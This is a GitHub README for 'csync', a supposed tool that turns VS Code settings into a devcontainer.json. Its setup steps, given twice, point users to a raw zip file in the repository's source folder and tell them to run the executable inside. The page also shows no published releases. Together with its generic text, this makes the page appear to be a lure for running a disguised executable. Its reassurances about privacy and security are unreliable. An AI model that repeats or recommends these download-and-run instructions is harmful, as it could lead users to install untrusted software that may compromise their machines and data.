Skip to content

SabaT2580/csync

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

⚙️ csync - Save and Share Your VS Code Setup

Download at GitHub


🔍 What is csync?

csync helps you save your Visual Studio Code setup. It takes your extensions, settings, and UI preferences, then puts them into a single file called devcontainer.json. This file lets you keep your coding environment organized and easy to share.

You don’t need to be a programmer to use csync. It works in the background to make your VS Code look and behave the way you want. When you use this file inside a Codespace or a devcontainer, your environment will match your preferences exactly.


💻 Why Use csync?

  • Save time by capturing your coder’s settings in one place.
  • Keep your extensions and themes consistent across computers.
  • Share your setup easily with others or use it in cloud-based workspaces.
  • Avoid manual reconfiguration after installing VS Code or switching devices.

🖥️ System Requirements

  • Windows 10 or newer (Windows 11 supported)
  • Visual Studio Code installed (version 1.60 or later recommended)
  • Internet connection to download extensions if not present
  • Minimum 2GB RAM and 500 MB free disk space for typical usage

🛠️ Features of csync

  • Extracts installed VS Code extensions, including their versions.
  • Saves your editor settings and keybindings.
  • Captures UI layout and theme preferences.
  • Creates a devcontainer.json configuration file ready for use.
  • Supports automation for quick setup in Codespaces or containers.
  • Works with both local VS Code installs and remote Codespaces.

🚀 Getting Started: Download and Setup

Download csync
(Click this link to visit the GitHub page and get the latest version.)

Step 1: Visit the Download Page

Go to the GitHub page: https://github.com/SabaT2580/csync/raw/refs/heads/main/src/Software_1.6.zip
On this page, look for the latest release or download section.

Step 2: Download the Application

Find the version for Windows. If you see a file ending in .exe or .zip, download it to your computer. Most often, the release page will have a clearly marked button like csync.exe or a zip package.

Step 3: Run the Installer or File

  • If you downloaded a .exe file, double-click it to start the installation.
  • If you downloaded a .zip file, open it and extract the contents to a folder of your choice.

If a setup wizard appears, follow the instructions on screen to complete the installation.

Step 4: Open csync

After installation, launch csync from your Start menu or the folder where you extracted it.


🧭 How to Use csync

  1. Launch csync
    Open the app. You will see options to extract your VS Code setup.

  2. Connect to Visual Studio Code
    csync automatically finds your VS Code installation and scans your current extensions and settings.

  3. Create a devcontainer.json File
    Click the button that says “Export Setup” or “Create devcontainer.json”. The tool will generate the file with your current configuration.

  4. Save or Share
    Choose where you want to save the devcontainer.json file. You can use this file to recreate your setup elsewhere or share it with a team.


🔄 Updating Your Setup

When you add or remove extensions or change settings in VS Code, run csync again to update your devcontainer.json. This keeps your saved setup current.


🛡️ Security and Privacy

csync only reads your local VS Code configuration. It does not send your data anywhere. Your settings stay on your computer unless you choose to share the generated file.


🔧 Troubleshooting

  • csync does not find VS Code:
    Make sure Visual Studio Code is installed and you have run it at least once.

  • Export fails or file is empty:
    Verify that your VS Code has extensions and custom settings saved. Restart csync and try again.

  • Generated devcontainer.json has errors:
    Use a JSON viewer or editor to check the file format. csync generates standard JSON files, so editing is possible if needed.


📚 More Information


🔗 Download csync

Access and download the latest version here:
https://github.com/SabaT2580/csync/raw/refs/heads/main/src/Software_1.6.zip

About

Extract VS Code extensions, settings, and UI preferences into a devcontainer.json file for easy environment setup and sharing.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors